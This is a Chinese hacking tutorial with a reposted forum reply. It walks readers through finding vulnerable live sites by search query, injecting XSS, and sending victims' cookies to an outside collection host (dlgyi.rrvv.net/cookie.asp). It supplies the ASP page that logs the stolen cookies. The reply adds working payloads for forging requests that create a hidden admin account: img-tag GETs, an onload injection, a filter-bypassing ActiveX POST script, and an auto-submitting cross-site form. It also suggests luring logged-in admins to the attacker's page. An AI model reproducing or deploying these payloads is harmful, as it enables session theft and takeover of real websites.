简单利用XSS获取Cookie信息实例演示

 
首先要找到一个有XXS的站，这里就不整什么大站了，谷歌一下inurl:'Product.asp?BigClassName'，搜出来的命中率也比较高。随便找一个，先<script>alert('xxs')</script>一下。呵呵，框框出来了
 
 
再看看自己的Cookie吧，把alert里面的内容换成document.cookie就可以了，如图：
 
 
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里，要玩这个步骤就需要一个你自己的站点，具体思路就是
1:让目标访问已跨站的网址，然后这个网址执行脚本
2:然后跳转到你已经写好专门用来收集Cookie的网址
 
具体实现方法：
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
这句话意思是打开一个新的窗口，访问http://dlgyi.rrvv.net/cookie.asp这个网址，并且通过msg传递一个变量，这里的变量就是我们要收集的cookie了。
 
这里需要自己写一个页面，也就是收集对方发过来cookie的页面，代码是这样的：
 
<html>
<title> www.2cto.com </title>
<body>
<%
testfile = Server.MapPath("code.txt") //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request("msg") //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
thisfile.close //关闭
set fs = nothing
%>
</body>
</html>然后保存，放在你自己服务器上，如果有人点击构造好的XXS页面，就会自动在你网站的根目录生成一个文本：
 
 
拿出来看看，呵呵，Cookie到手：
 
 
本文只是抛砖引玉，而且没有多大的实战价值，一来很多网站都过滤掉了+号这个字符连接符，二来稍大点的站，也不会存在如此的XXS，本文旨在给新手一个练习的向导，毕竟不可能谁一开始学习就可以RI掉大站，从小站开始练手，一起进步。话说咱也是新手O(∩_∩)O~
 
PS：一点小提示，如果提交<script>alert('xxs')</script>网站没有反应时，不要立刻就点X。你可以鼠标右击，查看一下网站的源码，看看网站到底过滤掉了什么字符，通过编码啊神马的发挥下智慧，绕过过滤。只要出现小框框，咱就胜利了。
 
-------------------------------------------------------------------
 
下面是我对这个帖子的回复，也一起贴过来吧：说实话，像这种后台XSS其实作用不大的，一般的小站你拿到cookie也没什么利用价值，大点的站的话，或许可以用cookie盗点装备什么的，但那牵扯的多了，不过对于普通脚本小子来说，日站的时候除非毫无办法了还会想到XSS的，不过日站时候的XSS利用方法跟这篇文章里讲的差不多的，可以借鉴一下。
 
但是，这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况，说它鸡肋的原因是，你知道的，现在大部分站都是cookie+session的，并且一般用户名和密码不会直接放到cookie里了，这是它鸡肋的原因。
再者，日站的时候盗cookie一般是想进后台，但是如果遇到网上有源码的情况的话，还可以进一步利用，比如添加个管理员什么的。
 
在文章的最后，顺便贴上一般XSS的利用思路：
一般发现一个xss漏洞后要做的基本上就是这些：
 
1. 伪造请求 使用$_REQUEST或$_GET
 
首先我们要找找该网站使用的程序是不是在网上能找到源码，如果能找到源码的话，就去分析后台管理员更改密码或者增加管理员的页面，然后分析管理员使用的是不是$_REQUEST接收参数，如果是的话，我们使用该XSS漏洞构造一个请求，比如前台发表留言中可以使用HTML代码，那么我们就嵌入一个IMG元素：
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
当管理员登录管理后台后看到包含img的页面的时候，就伪造了一个增加后台管理员的请求，而该请求是由管理员发出的，所以顺利的增加了一个新的管理员。
 
如果是可视文本编辑器，可以尝试使用输入：
/Article/UploadPic/2012-3/2012323162735978.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
这样最终会构造出：
<img src="/Article/UploadPic/2012-3/2012323162735978.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
总之要举一反三。
 
2. 伪造请求 使用$_POST
 
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式，那么第一种方法无效，我们视情况而定，如果没有过滤<script>，我们可以通过ajax方式来伪造请求，如：
<sc/*xss*/ript type="text/javascript">
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
aj.open("POST", "/admin/admin_add.asp", false);
var postdata = 'name=xxx&psd=yyy';
aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
aj.send(postdata);
</scr/*xss*/ipt>
/*xss*/是HTML注释，用来绕过简单的对script代码块的过滤。
 
3. 跨站伪造请求 使用$_GET 或 $_REQUEST
 
与第一种伪造请求的方式相似，但是第一种伪造请求是利用站内的xss漏洞进行的，而跨站伪造请求，是站外发起的，比如我在我的博客的首页放了这样一个图片
<img src="http:// www.2cto.com /admin/admin_add.asp?user=xxx&psd=yyy"/>
然后我跑到dvbbs上发帖子，“勾引”动网论坛的管理员来我的博客，如果动网论坛的管理员已经登录了他的管理后台，然后使用共享进程的浏览器（目前基于ie内核的myie,maxton等等还有firefox都是共享进程的）来访问我的博客，那么他的后台就会被加入一个用户。
 
4.跨站伪造请求 使用$_POST（0day）
 
如果入侵目标的管理后台使用的是$_POST方式来接受变量，那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去，因为ajax是无法跨域的。
 
但是我们可以在我们的网站放一个form，里面填写好数据，form的action为要利用的有漏洞的页面，然后当有人打开该页面的时候，我们就用js控制该form进行submit，ajax虽然不能跨域，但向域之外的地址提交form总是可以的。
 
总之，第3，4种方法成功几率要小一些，因为我们要想办法让已经登录自身后台的管理员，使用共享session的浏览器访问我们的伪造请求的页面，有一点社会工程学的技术含量

简单利用XSS获取Cookie信息实例演示的更多相关文章

  1. 风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE

    风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE XSS如何利用 获取COOKIE 我们使用pikachu写的pkxss后台 使用方法: <img src="http:/ ...

  2. c#反射机制学习和利用反射获取类型信息

    反射(Reflection)是.NET中的重要机制,通过放射,可以在运行时获得.NET中每一个类型(包括类.结构.委托.接口和枚举等)的成员,包括方法.属性.事件,以及构造函数等.还可以获得每个成员的 ...

  3. 利用Python获取cookie的方法,相比java代码简便不少

    1.通过urllib库,是python的标准库,不需要另外引入,直接看代码,注意代码的缩进: # coding=UTF-8import cookielibimport urllib2 class Ry ...

  4. Springboot使用Cookie，生成cookie，获取cookie信息（注解与非注解方式）

    先 创建一个控制类吧, 其实我没有分层啊,随便做个例子: MyGetCookieController: @RestControllerpublic class MyGetCookieControlle ...

  5. Andriod的Http请求获取Cookie信息并同步保存,使第二次不用登录也可查看个人信息

    Android使用Http请求登录,则通过登录成功获取Cookie信息并同步,可以是下一次不用登录也可以查看到个人信息, 注:如果初始化加载登录,可通过缓存Cookie信息来验证是否要加载登录界面.C ...

  6. XSS获取cookie并利用

    获取cookie利用代码cookie.asp <html> <title>xx</title> <body> <%testfile = Serve ...

  7. 通过js获取cookie的实例及简单分析

    今天碰到一个在firefox下swfupload 上传时session不一致问题 在一个项目遇到多文件上传时,firefox下,服务器端的session获取不一致问题. 解决办法: 解决办法:将ses ...

  8. 转 通过js获取cookie的实例及简单分析

    今天review新人写的javascript代码的时候发现了很多的问题.这里以function getCookie(name){}为例. 其中比较典型的一个问题就是如何通过javascript获取co ...

  9. Andriod中WebView加载登录界面获取Cookie信息并同步保存,使第二次不用登录也可查看个人信息。

    Android使用WebView加载登录的html界面,则通过登录成功获取Cookie并同步,可以是下一次不用登录也可以查看到个人信息,注:如果初始化加载登录,可通过缓存Cookie信息来验证是否要加 ...

随机推荐

  1. 给NetBeans配置javafx环境

    JavaFX开发环境安装配置,这里给大家介绍一个非常有用的步骤 从Java8开始,JDK(Java开发工具包)包括了JavaFX库. 因此,要运行JavaFX应用程序,您只需要在系统中安装Java8或 ...

  2. Python3实用编程技巧进阶

    Python3实用编程技巧进阶  整个课程都看完了,这个课程的分享可以往下看,下面有链接,之前做java开发也做了一些年头,也分享下自己看这个视频的感受,单论单个知识点课程本身没问题,大家看的时候可以 ...

  3. MFC 双缓存绘图

    在SDI应用程序中,当我们需要时刻动态刷新界面的时候,如果我们一直使用,UpdateAllView()那么就会出现屏幕不停闪烁.闪屏非常严重,特别是一直在动态刷新的时候.并且在闪屏的过程中 我们根本就 ...

  4. 线程安全之suspend（挂起） 和resume（执行）

    suspend()不会释放锁 如果加锁发生在resume()之前会发生死锁 t.join()是阻塞此方法,此线程再继续:通常用于在main()主线程内,等待其它线程完成再结束main()主线程.图中j ...

  5. js校验文本框只能输入数字（包括小数）

    form表单 <form method="POST" action=""> <input type="text" id=& ...

  6. MySQL系列(七)--SQL优化的步骤

    前面讲了如何设计数据库表结构.存储引擎.索引优化等内存,这篇文章会讲述如何进行SQL优化,也是面试中关于数据库肯定会被问到的, 这些内容不仅仅是为了面试,更重要的是付诸实践,最终用到工作当中 之前的M ...

  7. MySQL系列(六)--索引优化

    在进行数据库查询的时候,索引是非常重要的,当然前提是达到一定的数据量.索引就像字典一样,通过偏旁部首来快速定位,而不是一页页 的慢慢找. 索引依赖存储引擎层实现,所以支持的索引类型和存储引擎相关,同一 ...

  8. Ionic JPush极光推送 插件实例

    1.需要去这里注册https://www.jiguang.cn 注册成功获取AppKey 备注填写应用包名规范点,在项目还要用那 2.创建ionic 项目 指定你注册时候的包名(假如:com.ioni ...

  9. Vue-cli3.x中使用Axios发送跨域请求的配置方法

    Vue-cli3.x中使用Axios发送跨域请求的配置方法 安装axios npm i axios -s main.js中引入 import axios from 'axios' //将axios挂载 ...

  10. mongodb本地搭建过程

    1.解压安装包后安装 安装时注意:1.选择customs    2.路径选择C盘以外的盘符 安装完成后: 2.在bin的同级目录下新建data.log文件夹 3.在data文件夹下新建db文件夹,在l ...